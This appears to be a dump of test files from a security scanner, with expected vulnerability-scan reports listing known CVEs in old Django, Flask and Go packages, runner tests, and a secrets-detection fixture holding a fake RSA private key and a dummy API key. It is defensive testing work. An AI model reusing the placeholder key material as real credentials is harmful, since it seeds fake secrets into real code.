\"attachments\": [],\n                        \"message\": {\n                            \"text\": \"CVE-2019-19844 - django: 1.2\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"tests/sca_package_2/examples/requirements.txt\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"django: 1.2\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"CVE-2016-7401_django@1.2\",\n                        \"ruleIndex\": 2,\n                        \"level\": \"error\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"CVE-2016-7401 - django: 1.2\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"tests/sca_package_2/examples/requirements.txt\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"django: 1.2\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"CVE-2021-33203_django@1.2\",\n                        \"ruleIndex\": 3,\n                        \"level\": \"warning\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"CVE-2021-33203 - django: 1.2\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"tests/sca_package_2/examples/requirements.txt\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"django: 1.2\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"CVE-2018-1000656_flask@0.6\",\n                        \"ruleIndex\": 4,\n                        \"level\": \"error\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"CVE-2018-1000656 - flask: 0.6\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"tests/sca_package_2/examples/requirements.txt\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"flask: 0.6\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"CVE-2020-26160_github.com/dgrijalva/jwt-go@v3.2.0\",\n                        \"ruleIndex\": 5,\n                        \"level\": \"error\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"CVE-2020-26160 - github.com/dgrijalva/jwt-go: v3.2.0\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"path/to/go.sum\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"github.com/dgrijalva/jwt-go: v3.2.0\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"OSI_BDS_django@1.2\",\n                        \"ruleIndex\": 6,\n                        \"level\": \"warning\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"License OSI_BDS - django: 1.2\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"tests/sca_package_2/examples/requirements.txt\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"django: 1.2\"\n                                        }\n                                    }\n                                }\n                            }\n                        ],\n                        \"suppressions\": [\n                            {\n                                \"kind\": \"external\",\n                                \"justification\": \"Test License suppression 1\"\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"CVE-2016-6186_django@1.2\",\n                        \"ruleIndex\": 7,\n                        \"level\": \"warning\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"CVE-2016-6186 - django: 1.2\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"tests/sca_package_2/examples/requirements.txt\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"django: 1.2\"\n                                        }\n                                    }\n                                }\n                            }\n                        ],\n                        \"suppressions\": [\n                            {\n                                \"kind\": \"external\",\n                                \"justification\": \"Test CVE suppression 2\"\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"CVE-2019-1010083_flask@0.6\",\n                        \"ruleIndex\": 8,\n                        \"level\": \"error\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"CVE-2019-1010083 - flask: 0.6\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"tests/sca_package_2/examples/requirements.txt\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"flask: 0.6\"\n                                        }\n                                    }\n                                }\n                            }\n                        ],\n                        \"suppressions\": [\n                            {\n                                \"kind\": \"external\",\n                                \"justification\": \"Test CVE suppression 1\"\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"CVE-2020-29652_golang.org/x/crypto@v0.0.1\",\n                        \"ruleIndex\": 9,\n                        \"level\": \"error\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"CVE-2020-29652 - golang.org/x/crypto: v0.0.1\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"path/to/go.sum\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"golang.org/x/crypto: v0.0.1\"\n                                        }\n                                    }\n                                }\n                            }\n                        ],\n                        \"suppressions\": [\n                            {\n                                \"kind\": \"external\",\n                                \"justification\": \"CVE-2020-29652 is skipped\"\n                            }\n                        ]\n                    }\n                ]\n            }\n        ]\n    }\n    assert sarif_output == expected_sarif_json\n\n\ndef test_get_junit_xml_string(sca_package_2_report_with_skip):\n    # given\n    report = sca_package_2_report_with_skip\n\n    # when\n    test_suites = [report.get_test_suite()]\n    junit_xml_output = report.get_junit_xml_string(test_suites)\n\n    expected_xml = xml.dom.minidom.parseString(\"\"\"<?xml version=\"1.0\" ?>\n<testsuites disabled=\"0\" errors=\"0\" failures=\"5\" tests=\"8\" time=\"0.0\">\n\t<testsuite disabled=\"0\" errors=\"0\" failures=\"5\" name=\"sca_package scan\" skipped=\"3\" tests=\"8\" time=\"0\">\n\t\t<testcase name=\"[CRITICAL][CVE-2019-19844] django: 1.2\" classname=\"/requirements.txt.django\" file=\"/requirements.txt\">\n\t\t\t<failure type=\"failure\" message=\"SCA package scan\">\nDescription: Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)\nLink: https://nvd.nist.gov/vuln/detail/CVE-2019-19844\nPublished Date: 2019-12-18T20:15:00+01:00\nBase Score: 9.8\nVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\nRisk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}\nFix Details:\n  Status: fixed in 3.0.1, 2.2.9, 1.11.27\n  Fixed Version: 1.11.27\n\nResource: requirements.txt.django\nFile: /requirements.txt: 0-0\n\n\t\t0 | django: 1.2</failure>\n\t\t</testcase>\n\t\t<testcase name=\"[HIGH][CVE-2016-7401] django: 1.2\" classname=\"/requirements.txt.django\" file=\"/requirements.txt\">\n\t\t\t<failure type=\"failure\" message=\"SCA package scan\">\nDescription: The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.\nLink: https://nvd.nist.gov/vuln/detail/CVE-2016-7401\nPublished Date: 2016-10-03T20:59:00+02:00\nBase Score: 7.5\nVector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\nRisk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}\nFix Details:\n  Status: fixed in 1.9.10, 1.8.15\n  Fixed Version: 1.8.15\n\nResource: requirements.txt.django\nFile: /requirements.txt: 0-0\n\n\t\t0 | django: 1.2</failure>\n\t\t</testcase>\n\t\t<testcase name=\"[MEDIUM][CVE-2021-33203] django: 1.2\" classname=\"/requirements.txt.django\" file=\"/requirements.txt\">\n\t\t\t<failure type=\"failure\" message=\"SCA package scan\">\nDescription: Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.\nLink: https://nvd.nist.gov/vuln/detail/CVE-2021-33203\nPublished Date: 2021-06-08T20:15:00+02:00\nBase Score: 4.9\nVector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N\nRisk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}\nFix Details:\n  Status: fixed in 3.2.4, 3.1.12, 2.2.24\n  Fixed Version: 2.2.24\n\nResource: requirements.txt.django\nFile: /requirements.txt: 0-0\n\n\t\t0 | django: 1.2</failure>\n\t\t</testcase>\n\t\t<testcase name=\"[HIGH][CVE-2018-1000656] flask: 0.6\" classname=\"/requirements.txt.flask\" file=\"/requirements.txt\">\n\t\t\t<failure type=\"failure\" message=\"SCA package scan\">\nDescription: The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\nLink: https://nvd.nist.gov/vuln/detail/CVE-2018-1000656\nPublished Date: 2018-08-20T21:31:00+02:00\nBase Score: 7.5\nVector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\nRisk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}\nFix Details:\n  Status: fixed in 0.12.3\n  Fixed Version: 0.12.3\n\nResource: requirements.txt.flask\nFile: /requirements.txt: 0-0\n\n\t\t0 | flask: 0.6</failure>\n\t\t</testcase>\n\t\t<testcase name=\"[HIGH][CVE-2020-26160] github.com/dgrijalva/jwt-go: v3.2.0\" classname=\"/path/to/go.sum.github.com/dgrijalva/jwt-go\" file=\"/path/to/go.sum\">\n\t\t\t<failure type=\"failure\" message=\"SCA package scan\">\nDescription: jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\&quot;aud\\&quot;] (which is allowed by the specification). Because the type assertion fails, \\&quot;\\&quot; is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.\nLink: https://nvd.nist.gov/vuln/detail/CVE-2020-26160\nPublished Date: 2020-09-30T20:15:00+02:00\nBase Score: 7.7\nVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\nRisk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True}\nFix Details:\n  Status: fixed in v4.0.0-preview1\n  Fixed Version: 4.0.0rc1\n\nResource: path/to/go.sum.github.com/dgrijalva/jwt-go\nFile: /path/to/go.sum: 0-0\n\n\t\t0 | github.com/dgrijalva/jwt-go: v3.2.0</failure>\n\t\t</testcase>\n\t\t<testcase name=\"[MEDIUM][CVE-2016-6186] django: 1.2\" classname=\"/requirements.txt.django\" file=\"/requirements.txt\">\n\t\t\t<skipped type=\"skipped\" message=\"CVE-2016-6186 skipped for django: 1.2\"/>\n\t\t</testcase>\n\t\t<testcase name=\"[HIGH][CVE-2019-1010083] flask: 0.6\" classname=\"/requirements.txt.flask\" file=\"/requirements.txt\">\n\t\t\t<skipped type=\"skipped\" message=\"CVE-2019-1010083 skipped for flask: 0.6\"/>\n\t\t</testcase>\n\t\t<testcase name=\"[HIGH][CVE-2020-29652] golang.org/x/crypto: v0.0.1\" classname=\"/path/to/go.sum.golang.org/x/crypto\" file=\"/path/to/go.sum\">\n\t\t\t<skipped type=\"skipped\" message=\"CVE-2020-29652 skipped for golang.org/x/crypto: v0.0.1\"/>\n\t\t</testcase>\n\t</testsuite>\n</testsuites>\n\n\"\"\")\n\n    # then\n    assert xml.dom.minidom.parseString(junit_xml_output).toprettyxml() == expected_xml.toprettyxml()\n"
  },
  {
    "path": "tests/sca_package_2/test_runner.py",
    "content": "import os\nfrom pathlib import Path\nfrom unittest.mock import MagicMock\n\nfrom pytest_mock import MockerFixture\nfrom packaging import version as packaging_version\n\nfrom checkov.common.bridgecrew.bc_source import SourceTypes, BCSourceType\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryType\nfrom checkov.common.bridgecrew.platform_integration import bc_integration, FileToPersist\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sca_package_2.runner import Runner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.models.enums import CheckResult, ErrorStatus\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_upload_scannable_files():\n    # when\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    input_paths = Runner().upload_package_files(\n        root_path=EXAMPLES_DIR,\n        files=[],\n        excluded_paths=set(),\n    )\n\n    # expected\n    expected_output = {\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'requirements.txt'),\n                      s3_file_key='requirements.txt'),\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.sum'),\n                      s3_file_key='go.sum'),\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package-lock.json'),\n                      s3_file_key='package-lock.json'),\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package.json'),\n                      s3_file_key='package.json'),\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.mod'),\n                      s3_file_key='go.mod'),\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'Microsoft.NET.Sdk.csproj'),\n                      s3_file_key='Microsoft.NET.Sdk.csproj')\n    }\n\n    # then\n    assert len(input_paths) == 6\n\n    assert set(input_paths) == expected_output\n\n\ndef test_upload_scannable_files_exclude_go_and_requirements():\n    # when\n    input_output_paths = Runner().upload_package_files(\n        root_path=EXAMPLES_DIR,\n        files=[],\n        excluded_paths=set(),\n        excluded_file_names={\"go.sum\", \"package-lock.json\"}\n    )\n    # expected\n    expected_output = {\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'requirements.txt'),\n                      s3_file_key='requirements.txt'),\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package.json'),\n                      s3_file_key='package.json'),\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.mod'),\n                      s3_file_key='go.mod'),\n        FileToPersist(full_file_path=str(EXAMPLES_DIR / 'Microsoft.NET.Sdk.csproj'),\n                      s3_file_key='Microsoft.NET.Sdk.csproj')\n    }\n\n    # then\n    assert len(input_output_paths) == 4\n\n    assert set(input_output_paths) == expected_output\n\n\ndef test_upload_scannable_files_file_config():\n    origin_cwd = os.getcwd()\n    try:\n        # setup\n        os.chdir(str(Path(__file__).parent))\n\n        # when\n        input_output_paths = Runner().upload_package_files(\n            root_path=None,\n            files=[\n                str(EXAMPLES_DIR / 'requirements.txt'),\n                str(EXAMPLES_DIR / 'go.sum'),\n                str(EXAMPLES_DIR / 'package-lock.json'),\n                str(EXAMPLES_DIR / 'package.json'),\n                str(EXAMPLES_DIR / 'go.mod'),\n                str(EXAMPLES_DIR / 'Microsoft.NET.Sdk.csproj')\n            ],\n            excluded_paths=set(),\n            excluded_file_names=set()\n        )\n        # expected (paths are in related to the test-working-dir)\n        expected_output = {\n            FileToPersist(full_file_path=str(EXAMPLES_DIR / 'requirements.txt'),\n                          s3_file_key='examples/requirements.txt'),\n            FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.sum'),\n                          s3_file_key='examples/go.sum'),\n            FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package-lock.json'),\n                          s3_file_key='examples/package-lock.json'),\n            FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package.json'),\n                          s3_file_key='examples/package.json'),\n            FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.mod'),\n                          s3_file_key='examples/go.mod'),\n            FileToPersist(full_file_path=str(EXAMPLES_DIR / 'Microsoft.NET.Sdk.csproj'),\n                          s3_file_key='examples/Microsoft.NET.Sdk.csproj')\n        }\n\n        # then\n        assert len(input_output_paths) == 6\n\n        assert set(input_output_paths) == expected_output\n    finally:\n        # teardown\n        os.chdir(origin_cwd)\n\n\ndef test_run(sca_package_2_report):\n    # given\n    report = sca_package_2_report\n    # then\n    assert report.check_type == \"sca_package\"\n\n    assert report.resources == {\n        \"path/to/go.sum.github.com/dgrijalva/jwt-go\",\n        \"path/to/go.sum.golang.org/x/crypto\",\n        \"requirements.txt.django\",\n        \"requirements.txt.flask\",\n        \"requirements.txt.requests\",\n        \"path/to/sub/requirements.txt.requests\",\n    }\n\n    assert len(report.passed_checks) == 3\n    assert len(report.failed_checks) == 7\n    assert len(report.skipped_checks) == 3\n    assert len(report.parsing_errors) == 0\n\n    cve_record = next((c for c in report.failed_checks if\n                       c.resource == \"path/to/go.sum.golang.org/x/crypto\" and c.check_name == \"SCA package scan\"), None)\n    assert cve_record is not None\n    assert cve_record.bc_check_id == \"BC_CVE_2020_29652\"\n    assert cve_record.check_id == \"CKV_CVE_2020_29652\"\n    assert cve_record.check_class == \"unittest.mock.MagicMock\"  # not the real one\n    assert cve_record.check_name == \"SCA package scan\"\n    assert cve_record.check_result == {\"result\": CheckResult.FAILED}\n    assert cve_record.code_block == [(0, \"golang.org/x/crypto: v0.0.1\")]\n    assert cve_record.description == (\n        \"A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 \"\n        \"for Go allows remote attackers to cause a denial of service against SSH servers.\"\n    )\n    assert cve_record.file_abs_path == \"/path/to/go.sum\"\n    assert cve_record.file_line_range == [0, 0]\n    assert cve_record.file_path == \"/path/to/go.sum\"\n    assert cve_record.repo_file_path == \"/path/to/go.sum\"\n    assert cve_record.resource == \"path/to/go.sum.golang.org/x/crypto\"\n    assert cve_record.severity == Severities[BcSeverities.HIGH]\n    assert cve_record.short_description == \"CVE-2020-29652 - golang.org/x/crypto: v0.0.1\"\n    assert cve_record.vulnerability_details[\"lowest_fixed_version\"] == \"0.0.2\"\n    assert cve_record.vulnerability_details[\"fixed_versions\"] == [\n        packaging_version.parse(\"v0.0.2\"),\n    ]\n\n    # making sure cve-records have licenses (the one belongs to the associated package) - this data will be printed\n    # as part of the BON report.\n    cve_record_with_license = next((c for c in report.failed_checks if\n                                    c.resource == \"requirements.txt.django\" and c.check_name == \"SCA package scan\"),\n                                   None)\n    assert cve_record_with_license is not None\n    assert \"licenses\" in cve_record_with_license.vulnerability_details\n    assert cve_record_with_license.vulnerability_details[\"licenses\"] == \"OSI_BDS\"\n\n    cve_record_with_2_license = next((c for c in report.failed_checks if\n                                      c.resource == \"requirements.txt.flask\" and c.check_name == \"SCA package scan\"),\n                                     None)\n    assert cve_record_with_2_license is not None\n    assert \"licenses\" in cve_record_with_2_license.vulnerability_details\n    assert cve_record_with_2_license.vulnerability_details[\"licenses\"] == '\"OSI_APACHE\",\"DUMMY_OTHER_LICENSE\"'\n\n    # making sure extra-resources (a scanned packages without cves) also have licenses - this data will be printed\n    # as part of the BON report.\n    extra_resource = next((c for c in report.extra_resources if c.resource == \"requirements.txt.requests\"),\n                          None)\n    assert extra_resource is not None\n    assert \"licenses\" in extra_resource.vulnerability_details\n    assert extra_resource.vulnerability_details[\"licenses\"] == \"OSI_APACHE\"\n\n    license_resource = next((c for c in report.failed_checks if c.check_name == \"SCA license\" if\n                             c.resource == \"requirements.txt.flask\"), None)\n    assert license_resource is not None\n    assert license_resource.check_id == \"BC_LIC_1\"\n    assert license_resource.bc_check_id == \"BC_LIC_1\"\n    assert license_resource.check_result == {\"result\": CheckResult.FAILED}\n    assert {\"package_name\", \"package_name\", \"license\", \"status\",\n            \"policy\"} <= license_resource.vulnerability_details.keys()\n    assert license_resource.vulnerability_details[\"package_name\"] == \"flask\"\n    assert license_resource.vulnerability_details[\"package_version\"] == \"0.6\"\n    assert license_resource.vulnerability_details[\"license\"] == \"DUMMY_OTHER_LICENSE\"\n    assert license_resource.vulnerability_details[\"status\"] == \"FAILED\"\n    assert license_resource.vulnerability_details[\"policy\"] == \"BC_LIC_1\"\n\n\ndef test_runner_honors_enforcement_rules(mocker: MockerFixture, scan_result_2):\n    # given\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    scanner_mock = MagicMock()\n    scanner_mock.return_value.scan.return_value = scan_result_2\n    mocker.patch(\"checkov.sca_package_2.runner.Scanner\", side_effect=scanner_mock)\n\n    # when\n    runner = Runner()\n    filter = RunnerFilter(framework=['sca_package'], use_enforcement_rules=True)\n    # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n    # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n    filter.enforcement_rule_configs = {\n        CheckType.SCA_PACKAGE: {\n            CodeCategoryType.LICENSES: Severities[BcSeverities.OFF],\n            CodeCategoryType.VULNERABILITIES: Severities[BcSeverities.OFF]\n        }\n    }\n    report = runner.run(root_folder=EXAMPLES_DIR, runner_filter=filter)\n\n    # then\n    summary = report.get_summary()\n    # then\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] > 0\n\n    assert any(c for c in report.skipped_checks if c.check_id.startswith('CKV_CVE'))\n    assert any(c for c in report.skipped_checks if c.check_id.startswith('BC_LIC'))\n\n    assert summary[\"parsing_errors\"] == 0\n\n\ndef test_run_license_policy(mocker: MockerFixture, scan_result_2):\n    # given\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    scanner_mock = MagicMock()\n    scanner_mock.return_value.scan.return_value = scan_result_2\n    mocker.patch(\"checkov.sca_package_2.runner.Scanner\", side_effect=scanner_mock)\n\n    # when\n    runner = Runner()\n    filter = RunnerFilter(framework=['sca_package'], checks=['BC_LIC_1'])\n    report = runner.run(root_folder=EXAMPLES_DIR, runner_filter=filter)\n\n    # then\n    assert not [c for c in report.passed_checks + report.failed_checks if c.check_id.startswith('CKV_CVE')]\n\n\ndef test_run_with_empty_scan_result(mocker: MockerFixture):\n    # given\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    scanner_mock = MagicMock()\n    scanner_mock.return_value.scan.return_value = dict()\n    mocker.patch(\"checkov.sca_package_2.runner.Scanner\", side_effect=scanner_mock)\n\n    # when\n    report = Runner().run(root_folder=EXAMPLES_DIR)\n\n    # then\n    assert report.check_type == \"sca_package\"\n    assert report.resources == set()\n\n\ndef test_run_with_ide_source_and_bc_api_key(mocker: MockerFixture):\n    # given\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.bc_source = SourceTypes[BCSourceType.JETBRAINS]\n\n    scanner_mock = MagicMock()\n    mocker.patch(\"checkov.sca_package_2.runner.Scanner\", side_effect=scanner_mock)\n\n    # when\n    report = Runner().run(root_folder=EXAMPLES_DIR)\n\n    #\n    bc_integration.bc_source = None\n\n    # then\n    assert report.check_type == \"sca_package\"\n    assert report.resources == set()\n    assert report.error_status == ErrorStatus.SUCCESS  # shouldn't be ERROR\n\n    # scanner shouldn't be invoked\n    scanner_mock.assert_not_called()"
  },
  {
    "path": "tests/sca_package_2/test_runner_dependency_tree.py",
    "content": "from pathlib import Path\nfrom packaging import version as packaging_version\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.models.enums import CheckResult\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_run(sca_package_report_dt):\n    # given\n    report = next(sca_package_report_dt)\n    # then\n    assert report.check_type == \"sca_package\"\n\n    assert report.resources == {'package-lock.json.helmet-csp', 'requirements.txt.grpcio_tools', 'requirements.txt.gevent', 'requirements.txt.pymysql', 'requirements.txt.pyyaml', 'requirements.txt.sanic', 'package-lock.json.nconf', 'requirements.txt.pyramid', 'requirements.txt.multidict', 'requirements.txt.aiohttp', 'package-lock.json.cypress', 'requirements.txt.testcontainers', 'package-files/java/maven/normal/pom.xml.junit_junit', 'requirements.txt.requests', 'requirements.txt.tornado', 'package-lock.json.uglify-js', 'package-files/yarn/package.json.node-esapi', 'package-files/yarn/package.json.marked', 'package-lock.json.decode-uri-component', 'package-lock.json.mongodb', 'requirements.txt.django', 'package-lock.json.debug', 'requirements.txt.pika', 'requirements.txt.yarl', 'requirements.txt.protobuf', 'requirements.txt.celery', 'requirements.txt.uvicorn', 'requirements.txt.mysqlclient', 'requirements.txt.elasticsearch', 'package-files/yarn/package.json.needle', 'requirements.txt.fastapi', 'package-lock.json.marked', 'requirements.txt.pymongo', 'package-lock.json.bson', 'requirements.txt.redis', 'package-lock.json.minimist', 'package-lock.json.mocha', 'requirements.txt.kafka-python', 'requirements.txt.wrapt', 'requirements.txt.hug', 'package-lock.json.unset-value', 'package-lock.json.glob-parent', 'package-lock.json.grunt', 'requirements.txt.flask', 'package-files/yarn/package.json.bcrypt-nodejs', 'requirements.txt.contextvars', 'requirements.txt.werkzeug', 'requirements.txt.packaging', 'package-files/java/maven/normal/pom.xml.org.apache.logging.log4j_log4j-core', 'requirements.txt.gunicorn', 'requirements.txt.urllib3', 'requirements.txt.psycopg', 'requirements.txt.streamlit', 'package-files/java/maven/normal/pom.xml.commons-collections_commons-collections'}\n    assert len(report.passed_checks) == 34\n    assert len(report.failed_checks) == 56\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n\n    cve_record = next((c for c in report.failed_checks if\n                       c.resource == \"package-lock.json.bson\"\n                       and c.vulnerability_details.get('root_package_name', \"\") == 'mongodb'\n                       and c.check_name == \"SCA package scan\"), None)\n    assert cve_record is not None\n    assert cve_record.bc_check_id == 'BC_CVE_2019_2391'\n    assert cve_record.check_id == 'CKV_CVE_2019_2391'\n    assert cve_record.check_name == \"SCA package scan\"\n    assert cve_record.check_result == {\"result\": CheckResult.FAILED}\n    assert cve_record.code_block == [(0, 'bson: 1.0.9')]\n    assert cve_record.description == (\n        'Incorrect parsing of certain JSON input may result in js-bson not correctly serializing BSON. '\n        'This may cause unexpected application behaviour including data disclosure. '\n        'This issue affects: MongoDB Inc. js-bson library version 1.1.3 and prior to.'\n    )\n    assert cve_record.file_abs_path == f\"{EXAMPLES_DIR}/package-lock.json\"\n    assert cve_record.file_line_range == [0, 0]\n    assert cve_record.file_path == \"/package-lock.json\"\n    assert cve_record.repo_file_path == \"/tests/sca_package_2/examples/package-lock.json\"\n    assert cve_record.resource == 'package-lock.json.bson'\n    assert cve_record.severity == Severities[BcSeverities.MEDIUM]\n    assert cve_record.short_description == 'CVE-2019-2391 - bson: 1.0.9'\n    assert cve_record.vulnerability_details[\"lowest_fixed_version\"] == \"1.1.4\"\n    assert cve_record.vulnerability_details[\"fixed_versions\"] == [\n        packaging_version.parse(\"1.1.4\"),\n    ]\n    assert cve_record.vulnerability_details['root_package_name'] == 'mongodb'\n    assert cve_record.vulnerability_details['root_package_version'] == '2.2.36'\n    assert cve_record.vulnerability_details['root_package_fix_version'] == '3.1.13'\n"
  },
  {
    "path": "tests/secrets/__init__.py",
    "content": ""
  },
  {
    "path": "tests/secrets/build_log_prefix/plain_private_key.txt",
    "content": "Decrypting signing key\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAx9TgJ2Zy7KX8rJ3k8PpZrK7aR0L8XyFJq3uR2V1dE9\nm5Q8c7WQ8RZz8XyTQe3Z2J4r7BvX9kJ5E6L0Xy8aKpY9tF5J3YwIDAQAB\n-----END RSA PRIVATE KEY-----\nKey loaded successfully\n"
  },
  {
    "path": "tests/secrets/conftest.py",
